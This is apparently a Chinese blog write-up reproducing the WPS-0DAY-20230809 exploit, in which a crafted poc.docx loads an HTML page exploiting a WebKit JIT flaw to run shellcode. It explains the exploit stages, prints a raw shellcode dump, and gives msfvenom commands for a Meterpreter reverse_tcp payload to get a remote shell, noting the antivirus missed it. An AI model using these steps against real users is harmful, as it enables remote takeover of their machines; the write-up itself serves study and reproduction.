WPS-0DAY-20230809的分析和利用复现

WPS-0DAY-20230809的分析和初步复现

一、漏洞学习

强调:以下内容仅供学习和测试,一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为,若造成任何后果,本人概不负责。

针对网上传的版本和github上公开的版本(提前备份一下,两个版本的zip和复现成功的虚拟机已经整合至下载板块的"WPS-0DAY-20230809"------审核结果将在2-10个工作日完成上传)进行了复现,并实现了getshell的操作,由于是第一次接触shellcode略显生疏,各位大佬多多包涵。这里分享一下自己的学习经过,也希望大佬能解答一下文末的疑点。

1、本地复现

B站上也有其他大佬本地复现的视频,可以自行搜索观看。

环境

Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3(其他:火绒最新版、winrar)

(我镜像里面那个idea的安装包没啥用,纯粹是复现某个java的cms用的,这个快照也没安装,emmm,winrar自己下一个吧,我就懒得再打包一个快照了。皮一下很开心~)

过程

小皮起个本地网站,将1.html放进去,开启apache2即可
修改hosts文件,重启网站(可以直接下载我整理的资料,到文档里复制,如果自己手中有资源或者愿意打字,当我没说)。
双击poc.docx并打开
本地复现成功。

2、代码解析

这里因为学识有限找个AI读了一下。

1.html

当分析这个代码段时,我们可以看到它实际上在利用一个 WebKit(浏览器引擎)中的漏洞,来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析:

Memory Corruption:

在代码中的 foo 函数中,利用了一个 JIT (Just-In-Time) 编译器的漏洞,通过触发对函数的 JIT 编译,创建了一些特定的数据结构,这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷,这些结构可能被损坏,导致后续访问时产生内存错误。

Out-of-Bounds Access:

在代码中的 addrof 和 fakeobj 函数中,利用了一个越界访问漏洞,通过操纵数组的边界条件,可以读写数组之外的内存。具体来说,通过修改数组的长度和元素,可以实现越界读取和写入操作。

Arbitrary Read/Write:

通过越界访问,可以读写到特定内存位置,甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写,从而绕过浏览器的内存保护机制。

WebAssembly and Shellcode Execution:

通过创建 WebAssembly 模块,并将其中的 shellcode(一段具有特定功能的二进制代码)写入内存,代码实现了对内存区域的写入,即将 shellcode 写入浏览器内存。之后,通过调用 WebAssembly 实例中的函数,实际上在浏览器中执行了 shellcode。

Exploitation:

总的来说,代码通过越界访问和内存错误,成功地修改了浏览器内存中的数据结构,并实现了对内存的非法读写。通过写入 shellcode 并执行它,代码最终实现了对浏览器中的操作系统层面的控制。

需要注意的是,这是一个非常复杂的漏洞利用,利用了多个不同的漏洞点,包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的,浏览器供应商通常会及时修复这些问题以保护用户的安全。然而,这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。

exp.py

这段代码是一个 Python 脚本,主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据,以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档(.docx 文件)。

replace_url_in_docx函数:打开指定的 .docx 文件,查找并替换其中的 URL。

具体步骤如下:

打开 .docx 文件,使用 "a" 模式,表示追加模式。

在 zip 压缩文件中查找 webExtension1.xml 文件的路径。

如果找不到 webExtension1.xml 文件,输出错误信息并关闭文件。

读取 webExtension1.xml 文件的内容。

解析 XML 内容,得到根元素。

使用特定的命名空间查找 标签,并替换其中的 URL。

将修改后的 XML 内容写回压缩文件。

关闭压缩文件。

其他的都代码没什么,解析这段代码主要就是为了复现这个"poc.docx",但是并没有制造出这个poc.docx,具体的测试会在最后的疑点中阐述。

3、通过修改shellcode拿shell

曲折的学习

不得不感慨,还好身边有些懂行的大佬,不然复现shellcode的思路都没有,必须感谢一下"."和"PMR"(昵称)的指导。

这里主要吐槽一下我对shellcode的第一映像,大佬们可以当个笑话乐一下。

1.html中有这样一段shellcode,套了下AI的话,它告诉我这是x86的机器码,十六进制ASCII解码后里面有个"calc",就是倒数第五个到倒数第二个。
我想着那就解密一下呗(现在看起来当时自己是真的蠢),但是存在函数无法识别的字符,那就写个脚本一一对应的替换一下呗。
结果接长这样,emmmm,替换calc为charmap再加密试试?然后不出意外的失败了。

üè‚NULNULNUL`‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J&1ÿ¬<a|STX,
ÁÏCRSOHÇâòRW‹RDLE‹J<‹LDC1xãHSOHÑQ‹Y
SOHÓ‹ICANã:I‹4‹SOHÖ1ÿ¬ÁÏCRSOHÇ8àuöETX}ø;}$uäX‹X$SOHÓf‹FFK‹XFSSOHÓ‹EOT‹SOHЉD$$[[aYZQÿà__Z‹DC2ë
]jSOH
...²NULNULNULPh1‹o‡ÿÕ>>àGS*LFh¦•½
ÿÕ<ACK|LF€ûàuENQ>>GDC3rojNULSÿÕcalcNUL

msf生成sc

好了,下面就是成功的结果了,kali终端执行一下就可以得到和网传的版本一模一样的结果了。

bash 复制代码
msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

然后要拿shell就用最常规的payload,同样设置-f为num就可以了。

bash 复制代码
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num

接着muti/hander监听一下,把生成的shellcode那道nodepad++里面删除一下"\r\n"复制并覆盖1.html的const shellcode里就行了。

最后双击poc.docx(因为懒,没有在kali启80搭1.html,如果你想要严谨一点自己在kali配置就可以了),拿到shell。
哦,对了,再白一句,火绒没检测出来。

二、疑点

1、问题

直接说我的疑惑:image到底是什么,为什么它会影响漏洞的复现?

2、我的测试

测试方法

winrar直接打开poc.docx,进行对照实验。

测试结果

(不是很了解wps的文件结构,以下结论对于大佬来说可能不算什么结果)

1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)删了倒是无所谓poc还可以正常执行,而且正常生成的docx没有该文档。

2执行exp.py修改"poc.docx\word\webExtensions\webExtension1.xml"之前需要通过wps的加载项,加载一个xml------这个poc.docx的构建黑客一定操作了这一步,因为正常生成的docx文件没有webExtensions目录。

3windows过期(或者未激活状态)复现失败。

本对照实验仅为一次简单的测试,可能存在未考虑的因素,这里分享另外两位大佬的测试流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA

本人测试结果与其存在差异或存在错误,均为能力所困,实属正常(本测试结果仅供参考)。

相关推荐
余子桃4 天前
WPS解决Word文件引入excel对象文件无法打开提示“不能启动此对象...”的问题
word·excel·wps
年薪丰厚5 天前
word如何快速创建目录?
word·论文·wps·目录·office
102112345678906 天前
PDF拆分之怎么对批量的PDF文件进行分割-免费PDF编辑工具分享
安全·百度·金融·pdf·wps·adobe acrobat reader·福昕阅读器
(未雨绸缪)7 天前
WPS EXCEL 使用 WPS宏编辑器 写32位十六进制数据转换为浮点小数的公式。
wps
Klusfsc7 天前
如何制作“优美”PPT
powerpoint·wps·ppt
102112345678909 天前
PDF文件页面转换成图片怎么弄-免费PDF编辑工具分享
人工智能·科技·学习·adobe·pdf·wps·adobe acrobat reader
weixin_423091759 天前
WPS for Mac免登录使用工具栏
macos·wps
人工智能和FPGA AI技术9 天前
Ubuntu安装WPS、FileZilla、Remmina SSH远端工具
ubuntu·ssh·wps
w10463672p11 天前
java操作doc(二)——java利用Aspose.Words动态创建自定义doc文档
java·word·wps·doc
甄同学13 天前
【WPS】【EXCEL】将单元格中字符按照分隔符拆分按行填充到其他单元格
excel·wps